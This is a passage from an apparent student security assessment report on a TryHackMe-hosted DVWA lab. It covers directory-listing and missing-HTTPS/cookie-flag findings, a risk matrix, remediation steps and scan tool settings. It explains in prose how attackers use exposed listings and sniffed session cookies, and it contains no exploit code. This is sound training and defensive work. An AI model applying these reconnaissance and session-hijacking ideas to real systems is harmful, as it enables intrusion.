Directory browsing (also called directory listing) is a web server misconfiguration that allows anyone to view the file and folder structure of a web directory when no index file is present. ZAP flagged 5 instances of this on the DVWA instance. When directory listing is enabled, an attacker can enumerate the full file tree of the application discovering configuration files, backup files, uploaded files, and any other assets not explicitly linked in the UI.
Evidence:
ZAP Alerts panel shows “Directory Browsing (5)” five distinct directory paths on the server return a browsable file listing rather than a 403 Forbidden or custom error page.
Business Impact:
While directory browsing alone doesn’t directly enable data extraction, it serves as a significant reconnaissance enabler. An attacker mapping the application would use exposed directory listings to locate configuration files (potentially containing DB credentials), PHP backup files, or uploaded user content. In combination with the SQLi and XSS findings already present in this application, directory browsing is a meaningful amplifier.
Remediation:
- Disable directory listing in the Apache configuration: set
Options -Indexesin the relevant<Directory>block or.htaccessfile. - Ensure all directories either contain an
index.php/index.htmlor are explicitly protected from browsing. - Conduct a full audit of what files are currently exposed via directory listing and remove or relocate sensitive items.
Finding 5 Missing Secure Cookie Flag (HTTP Only Site)
| Field | Value |
|---|---|
| OWASP Category | A02:2021 Cryptographic Failures / A05:2021 Security Misconfiguration |
| Severity | Low / Informational |
| CWE ID | CWE-311 |
| Affected Scope | Entire application session cookies |
| Source | Passive Scan ZAP HTTP Only Site rule |
| Confidence | High |
Description:
The application operates entirely over HTTP with no HTTPS enforcement in place. As a result, all traffic exchanged between the client and server — including session cookies, login credentials, and application data — travels in cleartext. Furthermore, the PHPSESSID session cookie lacks the Secure attribute, meaning it would still be sent over unencrypted connections even if HTTPS were only partially configured.
ZAP’s HTTP Only Site alert is triggered when the scanner determines that no HTTPS version of the site exists and the application does not redirect HTTP requests to HTTPS.
Evidence:
HTTP response headers observed across multiple endpoints:
- Protocol:
HTTP/1.1no TLS- No
Strict-Transport-Securityheader present- Cookie:
PHPSESSIDset withoutSecureorSameSiteflags
Business Impact:
On any network where traffic interception is feasible — such as public Wi-Fi, a shared LAN, or an ARP-spoofed environment — an attacker can execute a session hijacking attack by capturing the plaintext PHPSESSID cookie and replaying it to impersonate an authenticated user. Taken together with the XSS finding in this report, which can also steal cookies on the client side, the application’s session security is compromised on two separate fronts.
Remediation:
- Deploy HTTPS using a valid TLS certificate (Let’s Encrypt for public-facing apps, self-signed acceptable for local dev).
- Add
Strict-Transport-Security: max-age=31536000; includeSubDomainsto all responses. - Set the
SecureandHttpOnlyflags on all session cookies. - For local development, acknowledge this as an accepted risk and document it accordingly.
Risk Matrix
1
2
3
4
5
6
7
8
9
│ LOW IMPACT │ MEDIUM IMPACT │ HIGH IMPACT
──────────────────┼───────────────┼────────────────┼──────────────────
HIGH LIKELIHOOD │ │ │ F1 (SQLi)
│ │ │ F2 (XSS)
│ │ │ F3 (SQLi MySQL)
──────────────────┼───────────────┼────────────────┼──────────────────
MEDIUM LIKELIHOOD │ │ F4 (Dir List) │
──────────────────┼───────────────┼────────────────┼──────────────────
LOW LIKELIHOOD │ F5 (HTTP) │ │
F1 SQL Injection (Reflected) F2 XSS (Reflected) F3 SQL Injection MySQL F4 Directory Browsing F5 HTTP Only / Missing Secure Cookie
Recommendations (Prioritised)
| Priority | Action | Findings Addressed | Implementation Effort |
|---|---|---|---|
| 1 Immediate | Replace all dynamic SQL queries with parameterised statements / PDO prepared queries | F1, F3 | Low code change only; no infrastructure required |
| 2 Immediate | HTML-encode all user-reflected output; disable raw error messages in browser responses | F2, F3 | Low PHP htmlspecialchars() + php.ini change |
| 3 Short-term | Disable Apache directory listing (Options -Indexes) and audit exposed file paths |
F4 | Low single config change |
| 4 Short-term | Set HttpOnly, Secure, and SameSite=Strict flags on session cookies |
F5 | Low session.cookie_secure and session.cookie_httponly in php.ini |
| 5 Long-term | Migrate application to HTTPS; enforce TLS with HSTS headers | F5 | Medium requires certificate provisioning and server config |
Tool Output Summary
| Tool | Mode | Target | Requests Made | Alerts Found |
|---|---|---|---|---|
| OWASP ZAP 2.17.0 | Automated Active Scan (Quick Start) | http://[target-IP] (TryHackMe) | 1,849+ | 7 categories |
| OWASP ZAP 2.17.0 | Manual Active Scan (Right-click → Attack → Active Scan) | http://[target-IP] (TryHackMe) | ~600 | 4 new alerts |
| Burp Suite CE | Proxy + Manual Intercept | http://[target-IP] | N/A | Manual verification |
Scan Configuration:
- Scan Policy: Dev Standard
- Traditional Spider: Enabled
- AJAX Spider: Enabled (Firefox, “If Modern” mode)
- Out-of-scope URLs excluded:
www.dvwa.co.uk,www.w3.org
End of Report FUTM-CYB 322 Practical Hours Projects Weeks 1–7 Assessment conducted on a TryHackMe-hosted DVWA instance, accessed via TryHackMe OpenVPN. No production systems were tested.

































































































































